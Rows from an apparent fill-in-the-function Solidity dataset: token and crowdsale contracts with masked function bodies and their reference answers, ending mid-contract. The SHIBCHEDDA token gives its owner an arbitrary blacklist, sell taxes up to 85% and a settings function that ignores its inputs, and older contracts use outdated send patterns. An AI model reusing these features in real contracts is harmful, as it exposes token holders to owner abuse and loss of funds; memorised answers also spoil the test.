7*2 ) bonus = 80; else if( nday < 7*3 ) bonus = 70; else if( nday < 7*4 ) bonus = 60; else if( nday < 7*5 ) bonus = 50; } else if (state == State.Crowdsale) { if( nday < 1 ) bonus = 20; else if( nday < 4 ) bonus = 15; else if( nday < 8 ) bonus = 10; else if( nday < 12 ) bonus = 5; } return bonus; } function currentBonus() public constant returns (uint256) { return bonusForDate(now); } function priceForDate(uint date) public constant returns (uint256) { uint256 bonus = bonusForDate(date); return etherPrice * (100 + bonus) / 100; } function currentPrice() public constant returns (uint256) { return priceForDate(now); } function mintTokens(address _who, uint256 _tokens) internal { uint256 inv = investors[_who]; if (inv == 0) // new investor { investorsIter[numberOfInvestors++] = _who; } inv = add( inv, _tokens ); balances[_who] = add( balances[_who], _tokens ); Transfer(this, _who, _tokens); totalSupply = add( totalSupply, _tokens ); } function mintTokensWithReferal(address _who, address _referal, uint256 _valueTokens) internal { uint256 refererTokens = _valueTokens * 5 / 100; uint256 valueTokens = _valueTokens * 103 / 100; mintTokens(_referal, refererTokens); mintTokens(_who, valueTokens); } function startTokensSale( uint _crowdsaleStartTime, uint _crowdsaleFinishTime, uint256 _minimalSuccessTokens, uint256 _etherPrice) public onlyOwner {<FILL_FUNCTION_BODY> } function timeToFinishTokensSale() public constant returns(uint256 t) { require(state == State.PreICO || state == State.Crowdsale); if (now > crowdsaleFinishTime) { t = 0; } else { t = crowdsaleFinishTime - now; } } function finishTokensSale(uint256 _investorsToProcess) public { require(state == State.PreICO || state == State.Crowdsale); require(now >= crowdsaleFinishTime || (collectedTokens >= minimalSuccessTokens && msg.sender == owner)); if (collectedTokens < minimalSuccessTokens) { // Investors can get their ether calling withdrawBack() function while (_investorsToProcess > 0 && numberOfInvestors > 0) { address addr = investorsIter[--numberOfInvestors]; uint256 inv = investors[addr]; balances[addr] = sub( balances[addr], inv ); totalSupply = sub( totalSupply, inv ); Transfer(addr, this, inv); --_investorsToProcess; delete investorsIter[numberOfInvestors]; } if (numberOfInvestors > 0) { return; } if (state == State.PreICO) { state = State.Disabled; } else { state = State.CompletePreICO; } } else { while (_investorsToProcess > 0 && numberOfInvestors > 0) { --numberOfInvestors; --_investorsToProcess; address i = investorsIter[numberOfInvestors]; investors[i] = 0; delete investors[i]; delete investorsIter[numberOfInvestors]; } if (numberOfInvestors > 0) { return; } if (state == State.PreICO) { state = State.CompletePreICO; } else { // Create additional tokens for owner (40% of complete totalSupply) uint256 tokens = div( mul( 4, totalSupply ) , 6 ); balances[owner] = tokens; totalSupply = add( totalSupply, tokens ); Transfer(this, owner, tokens); state = State.Enabled; } } NewState(state); } // This function must be called by token holder in case of crowdsale failed function withdrawBack() public { require(state == State.Disabled); uint256 tokens = investors[msg.sender]; uint256 value = div( tokens, etherPrice ); if (value > 0) { investors[msg.sender] = 0; require( msg.sender.call.gas(gasPrice).value(value)() ); totalSupply = sub( totalSupply, tokens ); } } }
contract IzubrToken is Ownable, ERC20, SafeMath { string public constant standard = 'Token 0.1'; string public constant name = 'Izubr'; string public constant symbol = "IZR"; uint8 public constant decimals = 18; uint256 public constant tokenKoef = 1000000000000000000; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) public allowed; uint private constant gasPrice = 3000000; uint256 public etherPrice; uint256 public minimalSuccessTokens; uint256 public collectedTokens; enum State { Disabled, PreICO, CompletePreICO, Crowdsale, Enabled, Migration } event NewState(State state); State public state = State.Disabled; uint256 public crowdsaleStartTime; uint256 public crowdsaleFinishTime; mapping (address => uint256) public investors; mapping (uint256 => address) public investorsIter; uint256 public numberOfInvestors; modifier onlyTokenHolders { require(balances[msg.sender] != 0); _; } // Fix for the ERC20 short address attack modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier enabledState { require(state == State.Enabled); _; } modifier enabledOrMigrationState { require(state == State.Enabled || state == State.Migration); _; } function getDecimals() public constant returns(uint8) { return decimals; } function balanceOf(address who) public constant returns (uint256) { return balances[who]; } function investorsCount() public constant returns (uint256) { return numberOfInvestors; } function transfer(address _to, uint256 _value) public enabledState onlyPayloadSize(2 * 32) { require(balances[msg.sender] >= _value); balances[msg.sender] = sub( balances[msg.sender], _value ); balances[_to] = add( balances[_to], _value ); Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public enabledState onlyPayloadSize(3 * 32) { require(balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value); balances[_from] = sub( balances[_from], _value ); balances[_to] = add( balances[_to], _value ); allowed[_from][msg.sender] = sub( allowed[_from][msg.sender], _value ); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) public enabledState { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant enabledState returns (uint256 remaining) { return allowed[_owner][_spender]; } function () public payable { require(state == State.PreICO || state == State.Crowdsale); require(now < crowdsaleFinishTime); uint256 valueWei = msg.value; uint256 price = currentPrice(); uint256 valueTokens = div( mul( valueWei, price ), 1 ether); if( valueTokens > 33333*tokenKoef ) // 5 BTC { price = price * 112 / 100; valueTokens = mul( valueWei, price ); } require(valueTokens > 10*tokenKoef); collectedTokens = add( collectedTokens, valueTokens ); if(msg.data.length == 20) { address referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender); mintTokensWithReferal(msg.sender, referer, valueTokens); } else { mintTokens(msg.sender, valueTokens); } } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function getTotalSupply() public constant returns(uint256) { return totalSupply; } function depositTokens(address _who, uint256 _valueTokens) public onlyOwner { require(state == State.PreICO || state == State.Crowdsale); require(now < crowdsaleFinishTime); uint256 bonus = currentBonus(); uint256 tokens = _valueTokens * (100 + bonus) / 100; collectedTokens = add( collectedTokens, tokens ); mintTokens(_who, tokens); } function bonusForDate(uint date) public constant returns (uint256) { require(state == State.PreICO || state == State.Crowdsale); uint nday = (date - crowdsaleStartTime) / (1 days); uint256 bonus = 0; if (state == State.PreICO) { if( nday < 7*1 ) bonus = 100; else if( nday < 7*2 ) bonus = 80; else if( nday < 7*3 ) bonus = 70; else if( nday < 7*4 ) bonus = 60; else if( nday < 7*5 ) bonus = 50; } else if (state == State.Crowdsale) { if( nday < 1 ) bonus = 20; else if( nday < 4 ) bonus = 15; else if( nday < 8 ) bonus = 10; else if( nday < 12 ) bonus = 5; } return bonus; } function currentBonus() public constant returns (uint256) { return bonusForDate(now); } function priceForDate(uint date) public constant returns (uint256) { uint256 bonus = bonusForDate(date); return etherPrice * (100 + bonus) / 100; } function currentPrice() public constant returns (uint256) { return priceForDate(now); } function mintTokens(address _who, uint256 _tokens) internal { uint256 inv = investors[_who]; if (inv == 0) // new investor { investorsIter[numberOfInvestors++] = _who; } inv = add( inv, _tokens ); balances[_who] = add( balances[_who], _tokens ); Transfer(this, _who, _tokens); totalSupply = add( totalSupply, _tokens ); } function mintTokensWithReferal(address _who, address _referal, uint256 _valueTokens) internal { uint256 refererTokens = _valueTokens * 5 / 100; uint256 valueTokens = _valueTokens * 103 / 100; mintTokens(_referal, refererTokens); mintTokens(_who, valueTokens); } <FILL_FUNCTION> function timeToFinishTokensSale() public constant returns(uint256 t) { require(state == State.PreICO || state == State.Crowdsale); if (now > crowdsaleFinishTime) { t = 0; } else { t = crowdsaleFinishTime - now; } } function finishTokensSale(uint256 _investorsToProcess) public { require(state == State.PreICO || state == State.Crowdsale); require(now >= crowdsaleFinishTime || (collectedTokens >= minimalSuccessTokens && msg.sender == owner)); if (collectedTokens < minimalSuccessTokens) { // Investors can get their ether calling withdrawBack() function while (_investorsToProcess > 0 && numberOfInvestors > 0) { address addr = investorsIter[--numberOfInvestors]; uint256 inv = investors[addr]; balances[addr] = sub( balances[addr], inv ); totalSupply = sub( totalSupply, inv ); Transfer(addr, this, inv); --_investorsToProcess; delete investorsIter[numberOfInvestors]; } if (numberOfInvestors > 0) { return; } if (state == State.PreICO) { state = State.Disabled; } else { state = State.CompletePreICO; } } else { while (_investorsToProcess > 0 && numberOfInvestors > 0) { --numberOfInvestors; --_investorsToProcess; address i = investorsIter[numberOfInvestors]; investors[i] = 0; delete investors[i]; delete investorsIter[numberOfInvestors]; } if (numberOfInvestors > 0) { return; } if (state == State.PreICO) { state = State.CompletePreICO; } else { // Create additional tokens for owner (40% of complete totalSupply) uint256 tokens = div( mul( 4, totalSupply ) , 6 ); balances[owner] = tokens; totalSupply = add( totalSupply, tokens ); Transfer(this, owner, tokens); state = State.Enabled; } } NewState(state); } // This function must be called by token holder in case of crowdsale failed function withdrawBack() public { require(state == State.Disabled); uint256 tokens = investors[msg.sender]; uint256 value = div( tokens, etherPrice ); if (value > 0) { investors[msg.sender] = 0; require( msg.sender.call.gas(gasPrice).value(value)() ); totalSupply = sub( totalSupply, tokens ); } } }
require(state == State.Disabled || state == State.CompletePreICO); crowdsaleStartTime = _crowdsaleStartTime; crowdsaleFinishTime = _crowdsaleFinishTime; etherPrice = _etherPrice; delete numberOfInvestors; delete collectedTokens; minimalSuccessTokens = _minimalSuccessTokens; if (state == State.Disabled) { state = State.PreICO; } else { state = State.Crowdsale; } NewState(state);
function startTokensSale( uint _crowdsaleStartTime, uint _crowdsaleFinishTime, uint256 _minimalSuccessTokens, uint256 _etherPrice) public onlyOwner
function startTokensSale( uint _crowdsaleStartTime, uint _crowdsaleFinishTime, uint256 _minimalSuccessTokens, uint256 _etherPrice) public onlyOwner
51,075
TosToken
burn
contract TosToken is owned, TokenERC20 { /// The full name of the TOS token. string public constant name = "ThingsOpreatingSystem"; /// Symbol of the TOS token. string public constant symbol = "TOS"; /// 18 decimals is the strongly suggested default, avoid changing it. uint8 public constant decimals = 18; uint256 public totalSupply = 1000000000 * 10 ** uint256(decimals); /// Amount of TOS token to first issue. uint256 public MAX_FUNDING_SUPPLY = totalSupply * 500 / 1000; /** * Locked tokens system */ /// Stores the address of the locked tokens. address public lockJackpots; /// Reward for depositing the TOS token into a locked tokens. /// uint256 public totalLockReward = totalSupply * 50 / 1000; /// Remaining rewards in the locked tokens. uint256 public remainingReward; /// The start time to lock tokens. 2018/03/15 0:0:0 uint256 public lockStartTime = 1521043200; /// The last time to lock tokens. 2018/04/29 0:0:0 uint256 public lockDeadline = 1524931200; /// Release tokens lock time,Timestamp format 1544803200 == 2018/12/15 0:0:0 uint256 public unLockTime = 1544803200; /// Reward factor for locked tokens uint public constant NUM_OF_PHASE = 3; uint[3] public lockRewardsPercentages = [ 1000, //100% 500, //50% 300 //30% ]; /// Locked account details mapping (address => uint256) public lockBalanceOf; /** * Freeze the account system */ /* This generates a public event on the blockchain that will notify clients. */ mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract. */ function TosToken() public { /// Give the creator all initial tokens. balanceOf[msg.sender] = totalSupply; } /** * transfer token for a specified address. * * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public { /// Locked account can not complete the transfer. require(!(lockJackpots != 0x0 && msg.sender == lockJackpots)); /// Transponding the TOS token to a locked tokens account will be deemed a lock-up activity. if (lockJackpots != 0x0 && _to == lockJackpots) { _lockToken(_value); } else { /// To unlock the time, automatically unlock tokens. if (unLockTime <= now && lockBalanceOf[msg.sender] > 0) { lockBalanceOf[msg.sender] = 0; } _transfer(msg.sender, _to, _value); } } /** * transfer token for a specified address.Internal transfer, only can be called by this contract. * * @param _from The address to transfer from. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead. require(_to != 0x0); //Check for overflows. require(lockBalanceOf[_from] + _value > lockBalanceOf[_from]); // Check if the sender has enough. require(balanceOf[_from] >= lockBalanceOf[_from] + _value); // Check for overflows. require(balanceOf[_to] + _value > balanceOf[_to]); // Check if sender is frozen. require(!frozenAccount[_from]); // Check if recipient is frozen. require(!frozenAccount[_to]); // Subtract from the sender. balanceOf[_from] -= _value; // Add the same to the recipient. balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * `freeze? Prevent | Allow` `target` from sending & receiving tokens. * * @param target Address to be frozen. * @param freeze either to freeze it or not. */ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /** * Increase the token reward. * * @param _value Increase the amount of tokens awarded. */ function increaseLockReward(uint256 _value) public{ require(_value > 0); _transfer(msg.sender, lockJackpots, _value * 10 ** uint256(decimals)); _calcRemainReward(); } /** * Locked tokens, in the locked token reward calculation and distribution. * * @param _lockValue Lock token reward. */ function _lockToken(uint256 _lockValue) internal { /// Lock the tokens necessary safety checks. require(lockJackpots != 0x0); require(now >= lockStartTime); require(now <= lockDeadline); require(lockBalanceOf[msg.sender] + _lockValue > lockBalanceOf[msg.sender]); /// Check account tokens must be sufficient. require(balanceOf[msg.sender] >= lockBalanceOf[msg.sender] + _lockValue); uint256 _reward = _lockValue * _calcLockRewardPercentage() / 1000; /// Distribute bonus tokens. _transfer(lockJackpots, msg.sender, _reward); /// Save locked accounts and rewards. lockBalanceOf[msg.sender] += _lockValue + _reward; _calcRemainReward(); } uint256 lockRewardFactor; /* Calculate locked token reward percentage,Actual value: rewardFactor/1000 */ function _calcLockRewardPercentage() internal returns (uint factor){ uint phase = NUM_OF_PHASE * (now - lockStartTime)/( lockDeadline - lockStartTime); if (phase >= NUM_OF_PHASE) { phase = NUM_OF_PHASE - 1; } lockRewardFactor = lockRewardsPercentages[phase]; return lockRewardFactor; } /** The activity is over and the token in the prize pool is sent to the manager for fund development. */ function rewardActivityEnd() onlyOwner public { /// The activity is over. require(unLockTime < now); /// Send the token from the prize pool to the manager. _transfer(lockJackpots, owner, balanceOf[lockJackpots]); _calcRemainReward(); } function() payable public {} /** * Set lock token address,only once. * * @param newLockJackpots The lock token address. */ function setLockJackpots(address newLockJackpots) onlyOwner public { require(lockJackpots == 0x0 && newLockJackpots != 0x0 && newLockJackpots != owner); lockJackpots = newLockJackpots; _calcRemainReward(); } /** Remaining rewards in the locked tokens. */ function _calcRemainReward() internal { remainingReward = balanceOf[lockJackpots]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance require(_from != lockJackpots); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { require(msg.sender != lockJackpots); return super.approve(_spender, _value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(msg.sender != lockJackpots); return super.approveAndCall(_spender, _value, _extraData); } function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(_from != lockJackpots); return super.burnFrom(_from, _value); } }
contract TosToken is owned, TokenERC20 { /// The full name of the TOS token. string public constant name = "ThingsOpreatingSystem"; /// Symbol of the TOS token. string public constant symbol = "TOS"; /// 18 decimals is the strongly suggested default, avoid changing it. uint8 public constant decimals = 18; uint256 public totalSupply = 1000000000 * 10 ** uint256(decimals); /// Amount of TOS token to first issue. uint256 public MAX_FUNDING_SUPPLY = totalSupply * 500 / 1000; /** * Locked tokens system */ /// Stores the address of the locked tokens. address public lockJackpots; /// Reward for depositing the TOS token into a locked tokens. /// uint256 public totalLockReward = totalSupply * 50 / 1000; /// Remaining rewards in the locked tokens. uint256 public remainingReward; /// The start time to lock tokens. 2018/03/15 0:0:0 uint256 public lockStartTime = 1521043200; /// The last time to lock tokens. 2018/04/29 0:0:0 uint256 public lockDeadline = 1524931200; /// Release tokens lock time,Timestamp format 1544803200 == 2018/12/15 0:0:0 uint256 public unLockTime = 1544803200; /// Reward factor for locked tokens uint public constant NUM_OF_PHASE = 3; uint[3] public lockRewardsPercentages = [ 1000, //100% 500, //50% 300 //30% ]; /// Locked account details mapping (address => uint256) public lockBalanceOf; /** * Freeze the account system */ /* This generates a public event on the blockchain that will notify clients. */ mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract. */ function TosToken() public { /// Give the creator all initial tokens. balanceOf[msg.sender] = totalSupply; } /** * transfer token for a specified address. * * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public { /// Locked account can not complete the transfer. require(!(lockJackpots != 0x0 && msg.sender == lockJackpots)); /// Transponding the TOS token to a locked tokens account will be deemed a lock-up activity. if (lockJackpots != 0x0 && _to == lockJackpots) { _lockToken(_value); } else { /// To unlock the time, automatically unlock tokens. if (unLockTime <= now && lockBalanceOf[msg.sender] > 0) { lockBalanceOf[msg.sender] = 0; } _transfer(msg.sender, _to, _value); } } /** * transfer token for a specified address.Internal transfer, only can be called by this contract. * * @param _from The address to transfer from. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead. require(_to != 0x0); //Check for overflows. require(lockBalanceOf[_from] + _value > lockBalanceOf[_from]); // Check if the sender has enough. require(balanceOf[_from] >= lockBalanceOf[_from] + _value); // Check for overflows. require(balanceOf[_to] + _value > balanceOf[_to]); // Check if sender is frozen. require(!frozenAccount[_from]); // Check if recipient is frozen. require(!frozenAccount[_to]); // Subtract from the sender. balanceOf[_from] -= _value; // Add the same to the recipient. balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * `freeze? Prevent | Allow` `target` from sending & receiving tokens. * * @param target Address to be frozen. * @param freeze either to freeze it or not. */ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /** * Increase the token reward. * * @param _value Increase the amount of tokens awarded. */ function increaseLockReward(uint256 _value) public{ require(_value > 0); _transfer(msg.sender, lockJackpots, _value * 10 ** uint256(decimals)); _calcRemainReward(); } /** * Locked tokens, in the locked token reward calculation and distribution. * * @param _lockValue Lock token reward. */ function _lockToken(uint256 _lockValue) internal { /// Lock the tokens necessary safety checks. require(lockJackpots != 0x0); require(now >= lockStartTime); require(now <= lockDeadline); require(lockBalanceOf[msg.sender] + _lockValue > lockBalanceOf[msg.sender]); /// Check account tokens must be sufficient. require(balanceOf[msg.sender] >= lockBalanceOf[msg.sender] + _lockValue); uint256 _reward = _lockValue * _calcLockRewardPercentage() / 1000; /// Distribute bonus tokens. _transfer(lockJackpots, msg.sender, _reward); /// Save locked accounts and rewards. lockBalanceOf[msg.sender] += _lockValue + _reward; _calcRemainReward(); } uint256 lockRewardFactor; /* Calculate locked token reward percentage,Actual value: rewardFactor/1000 */ function _calcLockRewardPercentage() internal returns (uint factor){ uint phase = NUM_OF_PHASE * (now - lockStartTime)/( lockDeadline - lockStartTime); if (phase >= NUM_OF_PHASE) { phase = NUM_OF_PHASE - 1; } lockRewardFactor = lockRewardsPercentages[phase]; return lockRewardFactor; } /** The activity is over and the token in the prize pool is sent to the manager for fund development. */ function rewardActivityEnd() onlyOwner public { /// The activity is over. require(unLockTime < now); /// Send the token from the prize pool to the manager. _transfer(lockJackpots, owner, balanceOf[lockJackpots]); _calcRemainReward(); } function() payable public {} /** * Set lock token address,only once. * * @param newLockJackpots The lock token address. */ function setLockJackpots(address newLockJackpots) onlyOwner public { require(lockJackpots == 0x0 && newLockJackpots != 0x0 && newLockJackpots != owner); lockJackpots = newLockJackpots; _calcRemainReward(); } /** Remaining rewards in the locked tokens. */ function _calcRemainReward() internal { remainingReward = balanceOf[lockJackpots]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance require(_from != lockJackpots); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { require(msg.sender != lockJackpots); return super.approve(_spender, _value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(msg.sender != lockJackpots); return super.approveAndCall(_spender, _value, _extraData); } <FILL_FUNCTION> function burnFrom(address _from, uint256 _value) public returns (bool success) { require(_from != lockJackpots); return super.burnFrom(_from, _value); } }
require(msg.sender != lockJackpots); return super.burn(_value);
function burn(uint256 _value) public returns (bool success)
function burn(uint256 _value) public returns (bool success)
27,904
owned
acceptOwnership
contract owned { address public owner; address public ownerCandidate; function owned() public { owner = msg.sender; } modifier onlyOwner { assert(owner == msg.sender); _; } modifier onlyOwnerCandidate() { assert(msg.sender == ownerCandidate); _; } function transferOwnership(address candidate) external onlyOwner { ownerCandidate = candidate; } function acceptOwnership() external onlyOwnerCandidate {<FILL_FUNCTION_BODY> } }
contract owned { address public owner; address public ownerCandidate; function owned() public { owner = msg.sender; } modifier onlyOwner { assert(owner == msg.sender); _; } modifier onlyOwnerCandidate() { assert(msg.sender == ownerCandidate); _; } function transferOwnership(address candidate) external onlyOwner { ownerCandidate = candidate; } <FILL_FUNCTION> }
owner = ownerCandidate; ownerCandidate = 0x0;
function acceptOwnership() external onlyOwnerCandidate
function acceptOwnership() external onlyOwnerCandidate
62,862
SHIBCHEDDA
takeTaxes
contract SHIBCHEDDA is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isSniperOrBlacklisted; mapping (address => bool) private _liquidityHolders; mapping (address => uint256) buyLog; uint256 buyCoolDown = 30 seconds; uint256 private startingSupply = 100_0000_000_000; string private _name = "SHIBCHEDDA"; string private _symbol = "SHIBCHEDDA"; uint256 public _buyFee = 1200; uint256 public _sellFee = 1200; uint256 public _transferFee = 1200; uint256 constant public maxBuyTaxes = 5000; uint256 constant public maxSellTaxes = 8500; uint256 constant public maxTransferTaxes = 5000; uint256 public _liquidityRatio = 20; uint256 public _marketingRatio = 50; uint256 public _devRatio = 30; uint256 private constant masterTaxDivisor = 10_000; uint256 private constant MAX = ~uint256(0); uint8 constant private _decimals = 9; uint256 private _tTotal = startingSupply * 10**_decimals; uint256 private _tFeeTotal; IUniswapV2Router02 public dexRouter; address public lpPair; // UNI ROUTER address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; address payable private _marketingWallet = payable(0x80742d82349dcACfD66C538182CaA696A5E76aB9); address payable private _teamWallet = payable(0x80742d82349dcACfD66C538182CaA696A5E76aB9); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private maxTxPercent = 2; uint256 private maxTxDivisor = 100; uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; // 2% uint256 private maxWalletPercent = 10; uint256 private maxWalletDivisor = 100; uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; // 10% uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05% uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5% bool private sniperProtection = false; bool public _hasLiqBeenAdded = false; uint256 private _liqAddStatus = 0; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private _initialLiquidityAmount = 0; uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private sameBlockActive = false; mapping (address => uint256) private lastTrade; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller =/= owner."); _; } constructor () payable { _tOwned[_msgSender()] = _tTotal; // Set the owner. _owner = msg.sender; dexRouter = IUniswapV2Router02(_routerAddress); lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _allowances[address(this)][address(dexRouter)] = type(uint256).max; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; // Approve the owner for UniSwap, timesaver. _approve(_msgSender(), _routerAddress, _tTotal); // Transfer tTotal to the _msgSender. emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and recnouncements. // This allows for removal of ownership privelages from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if (_marketingWallet == payable(_owner)) _marketingWallet = payable(newOwner); _allowances[_owner][newOwner] = balanceOf(_owner); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) public onlyOwner() { IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter); address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown."); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function isSniperOrBlacklisted(address account) public view returns (bool) { return _isSniperOrBlacklisted[account]; } function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{ uint256 timeInSeconds = Seconds * 1 seconds; buyCoolDown = timeInSeconds; } function isProtected(uint256 rInitializer) external onlyOwner { require (_liqAddStatus == 0, "Error."); _liqAddStatus = rInitializer; } function setBlacklistEnabled(address account, bool enabled) external onlyOwner() { _isSniperOrBlacklisted[account] = enabled; } function setStartingProtections(uint8 _block) external onlyOwner{ require (snipeBlockAmt == 0 && !_hasLiqBeenAdded, "Starting Protections have already been executed."); snipeBlockAmt = _block; } function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() { sniperProtection = false; sameBlockActive = false; } function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes, "Cannot exceed maximums."); _buyFee = buyFee; _sellFee = sellFee; _transferFee = transferFee; } function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner { require (liquidity + marketing + dev == 100, "Must add up to 100%"); _liquidityRatio = liquidity; _marketingRatio = marketing; _devRatio = dev; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply."); _maxTxAmount = check; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply."); _maxWalletSize = check; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner { _marketingWallet = payable(marketingWallet); _teamWallet = payable(teamWallet); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: Zero address."); require(to != address(0), "ERC20: Zero address."); require(amount > 0, 